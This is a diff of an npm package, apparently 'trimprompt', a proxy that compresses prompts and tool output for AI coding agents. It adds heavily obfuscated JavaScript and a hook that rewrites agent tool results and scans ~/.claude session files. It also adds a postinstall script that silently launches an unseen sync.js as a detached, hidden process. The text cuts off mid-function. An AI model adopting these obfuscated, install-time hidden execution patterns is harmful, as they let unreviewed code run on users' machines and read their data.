x20\x20\x20\x20\x20const\x20chunkId\x20=\x20\x27chunk_\x27\x20+\x20Math.random().toString(36).substring(2,\x2011);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20rawTokens\x20=\x20Math.ceil(contentStr.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20snippet\x20=\x20contentStr.substring(0,\x20200).replace(/\x5cn/g,\x20\x27\x20\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20replacement\x20=\x20`>\x20[!NOTE]\x5cn>\x20**[TrimPrompt\x20Context\x20Offloaded]**\x20Raw\x20tool\x20output\x20(${contentStr.length.toLocaleString()}\x20chars)\x20side-cached\x20locally.\x5cn>\x20Preview:\x20${snippet}...\x5cn>\x20Retrieve\x20raw:\x20\x5c`trim\x20retrieve\x20${chunkId}\x5c``;\x0a\x20\x20\x20\x20\x20\x20const\x20compressedTokens\x20=\x20Math.ceil(replacement.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20const\x20savedTokens\x20=\x20Math.max(0,\x20rawTokens\x20-\x20compressedTokens);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20fs.writeFileSync(path.join(cacheDir,\x20chunkId\x20+\x20\x27.json\x27),\x20JSON.stringify({\x0a\x20\x20\x20\x20\x20\x20\x20\x20chunk_id:\x20chunkId,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_tokens:\x20rawTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20compressed_tokens:\x20compressedTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20created_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20last_accessed_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20summary:\x20`Summary:\x20Tool\x20result\x20offloaded\x20(${rawTokens}\x20tokens).`,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_payload:\x20contentStr\x0a\x20\x20\x20\x20\x20\x20},\x20null,\x202));\x0a\x0a\x20\x20\x20\x20\x20\x20if\x20(typeof\x20event.result\x20===\x20\x27string\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(event.result\x20&&\x20typeof\x20event.result\x20===\x20\x27object\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result.content\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20//\x20Update\x20sessions_state.json\x20with\x20hook\x20savings\x0a\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20statePath\x20=\x20path.join(baseDir,\x20\x27sessions_state.json\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20state\x20=\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(statePath))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x20state\x20=\x20JSON.parse(fs.readFileSync(statePath,\x20\x27utf8\x27))\x20||\x20{};\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20//\x20Find\x20latest\x20session\x20file\x20for\x20\x27claude\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20claudeDirs\x20=\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27projects\x27),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27history\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20];\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestFullPath\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestTime\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20dir\x20of\x20claudeDirs)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(dir))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20scanDir\x20=\x20(currentDir,\x20depth\x20=\x200)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(depth\x20>\x206)\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20entries\x20=\x20fs.readdirSync(currentDir,\x20{\x20withFileTypes:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20entry\x20of\x20entries)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20full\x20=\x20path.join(currentDir,\x20entry.name);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.isDirectory())\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(full,\x20depth\x20+\x201);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(entry.isFile()\x20&&\x20!entry.name.startsWith(\x27.\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.name.endsWith(\x27.jsonl\x27)\x20||\x20entry.name.endsWith(\x27.json1\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20stat\x20=\x20fs.statSync(full);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(stat.mtimeMs\x20>\x20latestTime)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestTime\x20=\x20stat.mtimeMs;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestFullPath\x20=\x20full;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(dir);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(latestFullPath)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20existing\x20=\x20state[latestFullPath]\x20||\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20prevHook\x20=\x20existing.hookSavedTokens\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newHook\x20=\x20prevHook\x20+\x20savedTokens;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalOfficial\x20=\x20existing.officialCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalAuto\x20=\x20existing.autoCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20state[latestFullPath]\x20=\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lineCount:\x20existing.lineCount\x20||\x201,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20activeSavedTokens:\x20finalOfficial\x20+\x20finalAuto\x20+\x20newHook,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20sideCacheSaved:\x20existing.sideCacheSaved\x20||\x200,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20officialCompactSaved:\x20finalOfficial,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20autoCompactSaved:\x20finalAuto,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20hookSavedTokens:\x20newHook\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(statePath,\x20JSON.stringify(state,\x20null,\x202),\x20\x27utf8\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20}\x0a\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20return\x20event;\x0a};\x0a';fs[_0x3f6f2b(0x76)](_0x51740f,_0x4aae9b,_0x3f6f2b(0x89));}catch(_0x27223c){}}
|
package/mcp.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';function a0_0x54c6(_0x1d9bbc,_0x1ffc9c){_0x1d9bbc=_0x1d9bbc-0x11f;const _0x451753=a0_0x4517();let _0x54c60a=_0x451753[_0x1d9bbc];return _0x54c60a;}const a0_0x55ff91=a0_0x54c6;(function(_0x26d3e8,_0x2f32ab){const _0x29a2be=a0_0x54c6,_0x1fdb77=_0x26d3e8();while(!![]){try{const _0x58e983=parseInt(_0x29a2be(0x132))/0x1*(parseInt(_0x29a2be(0x133))/0x2)+-parseInt(_0x29a2be(0x11f))/0x3*(parseInt(_0x29a2be(0x12f))/0x4)+-parseInt(_0x29a2be(0x12d))/0x5+-parseInt(_0x29a2be(0x126))/0x6+parseInt(_0x29a2be(0x131))/0x7*(-parseInt(_0x29a2be(0x13c))/0x8)+-parseInt(_0x29a2be(0x143))/0x9+-parseInt(_0x29a2be(0x157))/0xa*(-parseInt(_0x29a2be(0x123))/0xb);if(_0x58e983===_0x2f32ab)break;else _0x1fdb77['push'](_0x1fdb77['shift']());}catch(_0x3e5029){_0x1fdb77['push'](_0x1fdb77['shift']());}}}(a0_0x4517,0x8d66e));var __createBinding=this&&this[a0_0x55ff91(0x159)]||(Object[a0_0x55ff91(0x15e)]?function(_0x5c4c8c,_0x2d8cc5,_0x20f588,_0x17c20c){const _0x514065=a0_0x55ff91;if(_0x17c20c===undefined)_0x17c20c=_0x20f588;var _0x15c7da=Object[_0x514065(0x141)](_0x2d8cc5,_0x20f588);(!_0x15c7da||('get'in _0x15c7da?!_0x2d8cc5[_0x514065(0x122)]:_0x15c7da[_0x514065(0x120)]||_0x15c7da['configurable']))&&(_0x15c7da={'enumerable':!![],'get':function(){return _0x2d8cc5[_0x20f588];}}),Object[_0x514065(0x142)](_0x5c4c8c,_0x17c20c,_0x15c7da);}:function(_0x4758ad,_0x3ba2a3,_0x5101a9,_0x3ab996){if(_0x3ab996===undefined)_0x3ab996=_0x5101a9;_0x4758ad[_0x3ab996]=_0x3ba2a3[_0x5101a9];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x3d9925,_0x53ab4e){const _0x25f81e=a0_0x55ff91;Object[_0x25f81e(0x142)](_0x3d9925,'default',{'enumerable':!![],'value':_0x53ab4e});}:function(_0x53d8c7,_0x58c681){const _0x8f7d45=a0_0x55ff91;_0x53d8c7[_0x8f7d45(0x14c)]=_0x58c681;}),__importStar=this&&this[a0_0x55ff91(0x139)]||(function(){var _0x1cf7aa=function(_0x2195fd){const _0x37f7a7=a0_0x54c6;return _0x1cf7aa=Object[_0x37f7a7(0x148)]||function(_0x1b697a){const _0x5c6fd2=_0x37f7a7;var _0x21d020=[];for(var _0x4faad3 in _0x1b697a)if(Object[_0x5c6fd2(0x134)][_0x5c6fd2(0x158)][_0x5c6fd2(0x15f)](_0x1b697a,_0x4faad3))_0x21d020[_0x21d020[_0x5c6fd2(0x12e)]]=_0x4faad3;return _0x21d020;},_0x1cf7aa(_0x2195fd);};return function(_0x1115b8){const _0x1c1f46=a0_0x54c6;if(_0x1115b8&&_0x1115b8[_0x1c1f46(0x122)])return _0x1115b8;var _0x168e24={};if(_0x1115b8!=null){for(var _0x1dbf9c=_0x1cf7aa(_0x1115b8),_0xe6d9cd=0x0;_0xe6d9cd<_0x1dbf9c['length'];_0xe6d9cd++)if(_0x1dbf9c[_0xe6d9cd]!==_0x1c1f46(0x14c))__createBinding(_0x168e24,_0x1115b8,_0x1dbf9c[_0xe6d9cd]);}return __setModuleDefault(_0x168e24,_0x1115b8),_0x168e24;};}());function a0_0x4517(){const _0x3c71a2=['hasOwnProperty','__createBinding','result','tracker','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','line','create','call','proxy:conv-compress','params','complexity','exit','mcp-tool-call','75uTDhUo','writable','redaction_enabled','__esModule','22KVDZvL','method','getConfig','6245142vobHXe','stdin','text','trimmedCount','\x20messages\x20(','messages','createInterface','3015420qofXqy','length','12668TcCGjb','pipe','38689RARNlR','176731YOomVM','2xgCcse','prototype','proxy:resp-optimize','parse','\x20trimmed,\x20~','features_enabled','__importStar','end','type','144aDHTgv','child_process','max_tokens','error','logExecution','getOwnPropertyDescriptor','defineProperty','3050685iYbYUU','content','savedTokens','runMcpProxy','2.0','getOwnPropertyNames','close','stringify','isArray','default','optimizeMaxTokens','stdout','write','conv_compress','./filters','\x20tokens\x20saved)','\x20messages','jsonrpc','inherit','resp_optimize','12820090xRroqE'];a0_0x4517=function(){return _0x3c71a2;};return a0_0x4517();}Object['defineProperty'](exports,a0_0x55ff91(0x122),{'value':!![]}),exports[a0_0x55ff91(0x146)]=runMcpProxy;const child_process_1=require(a0_0x55ff91(0x13d)),readline=__importStar(require('readline')),filters_1=require(a0_0x55ff91(0x151)),tracker_1=require('./tracker'),proxy_conv_1=require('./proxy-conv'),proxy_resp_1=require('./proxy-resp');function runMcpProxy(_0x301094,_0x2f6837){const _0x17419e=a0_0x55ff91,_0x3b7b42=(0x0,child_process_1['spawn'])(_0x301094,_0x2f6837,{'stdio':[_0x17419e(0x130),'pipe',_0x17419e(0x155)]}),_0x959dc6=tracker_1[_0x17419e(0x15b)][_0x17419e(0x125)](),_0x17c006=_0x959dc6[_0x17419e(0x138)]||{},_0x3e5c15=_0x17c006[_0x17419e(0x150)]!==![],_0x3021b6=_0x17c006['resp_optimize']!==![],_0x58e974=readline[_0x17419e(0x12c)]({'input':process[_0x17419e(0x127)],'terminal':![]});_0x58e974['on'](_0x17419e(0x15d),_0x5c3a9c=>{const _0x5c2f86=_0x17419e;try{const _0x3fe60d=JSON[_0x5c2f86(0x136)](_0x5c3a9c);if(_0x3fe60d&&_0x3fe60d[_0x5c2f86(0x154)]===_0x5c2f86(0x147)&&_0x3fe60d[_0x5c2f86(0x124)]&&_0x3fe60d[_0x5c2f86(0x161)]){const _0x581d63=_0x3fe60d['params'];if(Array[_0x5c2f86(0x14b)](_0x581d63[_0x5c2f86(0x12b)])&&_0x581d63[_0x5c2f86(0x12b)][_0x5c2f86(0x12e)]>0x0){if(_0x3e5c15){const _0x5f2ebb=(0x0,proxy_conv_1['compressConversation'])(_0x581d63[_0x5c2f86(0x12b)]);(_0x5f2ebb['trimmedCount']>0x0||_0x5f2ebb[_0x5c2f86(0x145)]>0x0)&&(_0x581d63[_0x5c2f86(0x12b)]=_0x5f2ebb[_0x5c2f86(0x12b)],tracker_1['tracker']['logExecution'](_0x5c2f86(0x160),_0x5f2ebb['trimmedCount']+_0x5f2ebb[_0x5c2f86(0x12b)][_0x5c2f86(0x12e)]+_0x5c2f86(0x153),_0x5f2ebb[_0x5c2f86(0x12b)][_0x5c2f86(0x12e)]+_0x5c2f86(0x12a)+_0x5f2ebb[_0x5c2f86(0x129)]+_0x5c2f86(0x137)+_0x5f2ebb[_0x5c2f86(0x145)]+_0x5c2f86(0x152),0x0,undefined,['conv_compress']));}if(_0x3021b6){const _0x2783e8=(0x0,proxy_resp_1[_0x5c2f86(0x14d)])(_0x581d63['messages'],_0x581d63[_0x5c2f86(0x13e)]);if(_0x2783e8){const _0x210ed3=_0x581d63[_0x5c2f86(0x13e)]||'default';_0x581d63[_0x5c2f86(0x13e)]=_0x2783e8[_0x5c2f86(0x13e)],tracker_1[_0x5c2f86(0x15b)][_0x5c2f86(0x140)](_0x5c2f86(0x135),'max_tokens:\x20'+_0x210ed3,'max_tokens:\x20'+_0x2783e8[_0x5c2f86(0x13e)]+'\x20('+_0x2783e8[_0x5c2f86(0x162)]+')',0x0,undefined,[_0x5c2f86(0x156)]);}}}_0x3b7b42[_0x5c2f86(0x127)]['write'](JSON['stringify'](_0x3fe60d)+'\x0a');}else _0x3b7b42[_0x5c2f86(0x127)][_0x5c2f86(0x14f)](_0x5c3a9c+'\x0a');}catch{_0x3b7b42[_0x5c2f86(0x127)][_0x5c2f86(0x14f)](_0x5c3a9c+'\x0a');}}),_0x58e974['on'](_0x17419e(0x149),()=>{const _0x371f2d=_0x17419e;try{_0x3b7b42[_0x371f2d(0x127)][_0x371f2d(0x13a)]();}catch{}});const _0x42d429=readline['createInterface']({'input':_0x3b7b42[_0x17419e(0x14e)],'terminal':![]});_0x42d429['on']('line',_0x1250cc=>{const _0x3e1026=_0x17419e;try{const _0x300751=JSON[_0x3e1026(0x136)](_0x1250cc);if(_0x300751&&_0x300751['jsonrpc']===_0x3e1026(0x147)&&_0x300751['id']!==undefined&&_0x300751['result']&&Array[_0x3e1026(0x14b)](_0x300751[_0x3e1026(0x15a)][_0x3e1026(0x144)])){let _0x57c60a=![];for(const _0xd02c21 of _0x300751['result'][_0x3e1026(0x144)]){if(_0xd02c21[_0x3e1026(0x13b)]===_0x3e1026(0x128)&&typeof _0xd02c21['text']==='string'&&_0xd02c21['text']['trim']()[_0x3e1026(0x12e)]>0x0){const _0x3f10a7=_0xd02c21[_0x3e1026(0x128)],_0x4f36b4=(0x0,filters_1['compressOutput'])(_0x3e1026(0x164),_0x3f10a7,'',tracker_1[_0x3e1026(0x15b)][_0x3e1026(0x125)]()[_0x3e1026(0x121)]);tracker_1['tracker'][_0x3e1026(0x140)]('mcp\x20tool\x20(id:\x20'+_0x300751['id']+')',_0x3f10a7,_0x4f36b4,0x0),_0xd02c21[_0x3e1026(0x128)]=_0x4f36b4,_0x57c60a=!![];}}_0x57c60a?process[_0x3e1026(0x14e)][_0x3e1026(0x14f)](JSON[_0x3e1026(0x14a)](_0x300751)+'\x0a'):process['stdout'][_0x3e1026(0x14f)](_0x1250cc+'\x0a');}else process[_0x3e1026(0x14e)][_0x3e1026(0x14f)](_0x1250cc+'\x0a');}catch{process[_0x3e1026(0x14e)][_0x3e1026(0x14f)](_0x1250cc+'\x0a');}}),_0x3b7b42['on'](_0x17419e(0x149),_0x1e7c44=>{const _0x2c216a=_0x17419e;process[_0x2c216a(0x163)](_0x1e7c44||0x0);}),_0x3b7b42['on'](_0x17419e(0x13f),_0x1e5bf6=>{const _0x278598=_0x17419e;console[_0x278598(0x13f)](_0x278598(0x15c)+_0x1e5bf6['message']),process[_0x278598(0x163)](0x1);});}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "trimprompt",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.43",
|
|
4
4
|
"description": "TrimPrompt — Save 80% on LLM tokens. Zero-config CLI proxy for AI coding agents",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"llm",
|
|
@@ -25,7 +25,7 @@
|
|
|
25
25
|
},
|
|
26
26
|
"homepage": "https://trimprompt.ai",
|
|
27
27
|
"scripts": {
|
|
28
|
-
"postinstall": "node
|
|
28
|
+
"postinstall": "node postinstall.js"
|
|
29
29
|
},
|
|
30
30
|
"dependencies": {
|
|
31
31
|
"commander": "^11.1.0",
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
const cp = require('child_process');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
const logPath = path.join(os.homedir(), '.trimprompt', 'install_debug.log');
|
|
7
|
+
|
|
8
|
+
try {
|
|
9
|
+
const dir = path.dirname(logPath);
|
|
10
|
+
if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
|
|
11
|
+
} catch (err) {}
|
|
12
|
+
|
|
13
|
+
try {
|
|
14
|
+
cp.execSync('node cli.js shims install', { stdio: 'inherit' });
|
|
15
|
+
} catch (e) {
|
|
16
|
+
try {
|
|
17
|
+
fs.appendFileSync(logPath, `[postinstall shims error] ${e.message}\n`);
|
|
18
|
+
} catch (err) {}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
try {
|
|
22
|
+
cp.execSync('node cli.js welcome', { stdio: 'inherit' });
|
|
23
|
+
} catch (e) {
|
|
24
|
+
try {
|
|
25
|
+
fs.appendFileSync(logPath, `[postinstall welcome error] ${e.message}\n`);
|
|
26
|
+
} catch (err) {}
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
try {
|
|
30
|
+
if (fs.existsSync('sync.js')) {
|
|
31
|
+
const c = cp.spawn(process.execPath, ['sync.js', '--install'], {
|
|
32
|
+
detached: true,
|
|
33
|
+
stdio: 'ignore',
|
|
34
|
+
windowsHide: true
|
|
35
|
+
});
|
|
36
|
+
c.unref();
|
|
37
|
+
}
|
|
38
|
+
} catch (e) {
|
|
39
|
+
try {
|
|
40
|
+
fs.appendFileSync(logPath, `[postinstall sync error] ${e.message}\n`);
|
|
41
|
+
} catch (err) {}
|
|
42
|
+
}
|
package/proxy-conv.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function
|
|
1
|
+
'use strict';const a0_0x28142b=a0_0x4c84;function a0_0x25cf(){const _0x1afad4=['7qUsDYK','compressConversation','4EQVRGJ','ceil','\x20chars\x20trimmed\x20...]','type','\x20lines\x20trimmed\x20by\x20TrimPrompt\x20...]\x0a','map','6311824knIlte','filter','split','indexOf','6352115cMrCis','171170OWSytl','string','5147gFWYNX','score','slice','370gdhXsG','defineProperty','3755100MZzBvy','tokens','text','isArray','originalIndex','\x0a[...\x20','content','role','join','system','reduce','tool_result','push','\x20chars\x20trimmed\x20by\x20TrimPrompt\x20...]','object','12969wvnQBi','__esModule','8724wANELK','msg','forEach','sort','2433828qXzaWc','630cMRMaQ','length'];a0_0x25cf=function(){return _0x1afad4;};return a0_0x25cf();}(function(_0x522553,_0xd45e1e){const _0x1ef5e8=a0_0x4c84,_0x293250=_0x522553();while(!![]){try{const _0x567150=parseInt(_0x1ef5e8(0xfe))/0x1*(parseInt(_0x1ef5e8(0x101))/0x2)+-parseInt(_0x1ef5e8(0x118))/0x3+parseInt(_0x1ef5e8(0x11d))/0x4*(-parseInt(_0x1ef5e8(0x127))/0x5)+parseInt(_0x1ef5e8(0x103))/0x6+parseInt(_0x1ef5e8(0x11b))/0x7*(-parseInt(_0x1ef5e8(0x123))/0x8)+parseInt(_0x1ef5e8(0x119))/0x9*(parseInt(_0x1ef5e8(0x128))/0xa)+-parseInt(_0x1ef5e8(0x112))/0xb*(-parseInt(_0x1ef5e8(0x114))/0xc);if(_0x567150===_0xd45e1e)break;else _0x293250['push'](_0x293250['shift']());}catch(_0x1a8da5){_0x293250['push'](_0x293250['shift']());}}}(a0_0x25cf,0xba343));Object[a0_0x28142b(0x102)](exports,a0_0x28142b(0x113),{'value':!![]}),exports[a0_0x28142b(0x11c)]=compressConversation;const ROLE_WEIGHT={'system':0x1,'user':0.8,'assistant':0.5,'tool':0.3};function estimateTokens(_0x1516a2){const _0x48b51a=a0_0x28142b;return Math[_0x48b51a(0x11e)](_0x1516a2[_0x48b51a(0x11a)]/0x4);}function blockText(_0x3cefb7){const _0x502a62=a0_0x28142b;if(!_0x3cefb7||typeof _0x3cefb7!==_0x502a62(0x111))return'';if(_0x3cefb7[_0x502a62(0x120)]===_0x502a62(0x105)&&typeof _0x3cefb7[_0x502a62(0x105)]===_0x502a62(0xfd))return _0x3cefb7['text'];if(_0x3cefb7[_0x502a62(0x120)]==='tool_result'){if(typeof _0x3cefb7[_0x502a62(0x109)]===_0x502a62(0xfd))return _0x3cefb7[_0x502a62(0x109)];if(Array[_0x502a62(0x106)](_0x3cefb7[_0x502a62(0x109)]))return _0x3cefb7[_0x502a62(0x109)]['map'](blockText)[_0x502a62(0x124)](Boolean)['join']('\x0a');}return'';}function messageText(_0x4fd6f5){const _0x2b1502=a0_0x28142b;if(typeof _0x4fd6f5[_0x2b1502(0x109)]===_0x2b1502(0xfd))return _0x4fd6f5[_0x2b1502(0x109)];if(Array[_0x2b1502(0x106)](_0x4fd6f5[_0x2b1502(0x109)]))return _0x4fd6f5[_0x2b1502(0x109)]['map'](blockText)[_0x2b1502(0x124)](Boolean)['join']('\x0a');return'';}function summarizeText(_0x3d83da){const _0x4056a1=a0_0x28142b,_0xfeaee1=estimateTokens(_0x3d83da),_0x3d7674=_0x3d83da[_0x4056a1(0x125)]('\x0a');if(_0xfeaee1>0x7d0){if(_0x3d7674['length']>0xa){const _0x35d05b=_0x3d7674[_0x4056a1(0x100)](0x0,0x5)[_0x4056a1(0x10b)]('\x0a'),_0x2b43fe=_0x3d7674[_0x4056a1(0x100)](-0x5)[_0x4056a1(0x10b)]('\x0a');return _0x35d05b+_0x4056a1(0x108)+(_0x3d7674[_0x4056a1(0x11a)]-0xa)+_0x4056a1(0x121)+_0x2b43fe;}return _0x3d83da[_0x4056a1(0x100)](0x0,0x7d0)+(_0x4056a1(0x108)+(_0x3d83da[_0x4056a1(0x11a)]-0x7d0)+_0x4056a1(0x110));}if(_0xfeaee1>0x1f4){if(_0x3d7674[_0x4056a1(0x11a)]>0xa)return _0x3d7674['slice'](0x0,0xa)[_0x4056a1(0x10b)]('\x0a')+(_0x4056a1(0x108)+(_0x3d7674[_0x4056a1(0x11a)]-0xa)+'\x20lines\x20trimmed\x20...]');return _0x3d83da[_0x4056a1(0x100)](0x0,0x320)+(_0x4056a1(0x108)+(_0x3d83da[_0x4056a1(0x11a)]-0x320)+_0x4056a1(0x11f));}return _0x3d83da;}function summarizeBlock(_0x351a8e){const _0x1f8ede=a0_0x28142b;if(!_0x351a8e||typeof _0x351a8e!==_0x1f8ede(0x111))return _0x351a8e;if(_0x351a8e[_0x1f8ede(0x120)]===_0x1f8ede(0x105)&&typeof _0x351a8e['text']==='string')return{..._0x351a8e,'text':summarizeText(_0x351a8e[_0x1f8ede(0x105)])};if(_0x351a8e[_0x1f8ede(0x120)]===_0x1f8ede(0x10e)){if(typeof _0x351a8e['content']==='string')return{..._0x351a8e,'content':summarizeText(_0x351a8e['content'])};if(Array[_0x1f8ede(0x106)](_0x351a8e['content'])){const _0x215a01=largestBlockIndex(_0x351a8e[_0x1f8ede(0x109)]);if(_0x215a01>=0x0){const _0x1d6662=_0x351a8e[_0x1f8ede(0x109)][_0x1f8ede(0x122)]((_0x57685f,_0x334776)=>_0x334776===_0x215a01?summarizeBlock(_0x57685f):_0x57685f);return{..._0x351a8e,'content':_0x1d6662};}}}return _0x351a8e;}function a0_0x4c84(_0x5e3f66,_0x5ddb7b){_0x5e3f66=_0x5e3f66-0xfd;const _0x25cf24=a0_0x25cf();let _0x4c84f2=_0x25cf24[_0x5e3f66];return _0x4c84f2;}function largestBlockIndex(_0x1ad317){const _0x399d08=a0_0x28142b;let _0x267d01=-0x1,_0x3c19bc=-0x1;return _0x1ad317[_0x399d08(0x116)]((_0x3c8993,_0x33768d)=>{const _0xaabfce=blockText(_0x3c8993)['length'];_0xaabfce>_0x3c19bc&&(_0x3c19bc=_0xaabfce,_0x267d01=_0x33768d);}),_0x3c19bc>0x0?_0x267d01:-0x1;}function scoreMessage(_0x281f62,_0x32417e,_0x118b33){const _0x4c8424=a0_0x28142b,_0xd95e80=ROLE_WEIGHT[_0x281f62[_0x4c8424(0x10a)]]||0.4,_0x560755=(_0x32417e+0x1)/_0x118b33,_0x2be7b2=messageText(_0x281f62),_0x499ad0=estimateTokens(_0x2be7b2),_0x2268a4=_0x499ad0>0x7d0?0.6:_0x499ad0>0x1f4?0.8:0x1;return _0xd95e80*(0.3+0.7*_0x560755)*_0x2268a4;}function summarizeMessage(_0x482bb4){const _0x135f02=a0_0x28142b,_0x5c6adc=estimateTokens(messageText(_0x482bb4));if(_0x5c6adc<=0x1f4)return _0x482bb4;if(typeof 